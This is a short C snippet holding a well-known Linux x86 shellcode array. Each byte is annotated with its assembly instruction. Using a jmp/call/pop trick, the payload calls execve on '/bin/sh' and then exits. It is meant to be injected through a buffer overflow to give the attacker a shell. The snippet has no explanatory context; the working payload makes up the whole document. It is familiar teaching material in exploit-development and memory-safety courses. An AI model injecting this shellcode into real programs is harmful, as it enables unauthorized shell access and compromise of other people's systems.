char shellcode[] =
     "\xeb\x1f"                       /* jmp 0x1f               */
     "\x5e"                           /* popl %esi */
     "\x89\x76\x08"                   /* movl %esi,0x8(%esi)    */
     "\x31\xc0"                       /* xorl %eax,%eax         */
     "\x88\x46\x07"                   /* movb %eax,0x7(%esi)    */
     "\x89\x46\x0c"                   /* movl %eax,0xc(%esi)    */
     "\xb0\x0b"                       /* movb $0xb,%al          */
     "\x89\xf3"                       /* movl %esi,%ebx         */
     "\x8d\x4e\x08"                   /* leal 0x8(%esi),%ecx    */
     "\x8d\x56\x0c"                   /* leal 0xc(%esi),%edx    */
     "\xcd\x80"                       /* int $0x80              */
     "\x31\xdb"                       /* xorl %ebx,%ebx         */
     "\x89\xd8"                       /* movl %ebx,%eax         */
     "\x40"                           /* inc %eax               */
     "\xcd\x80"                       /* int $0x80              */
     "\xe8\xdc\xff\xff\xff"           /* call −0x24             */
     "/bin/sh";                       /* .string \"/bin/sh\"    */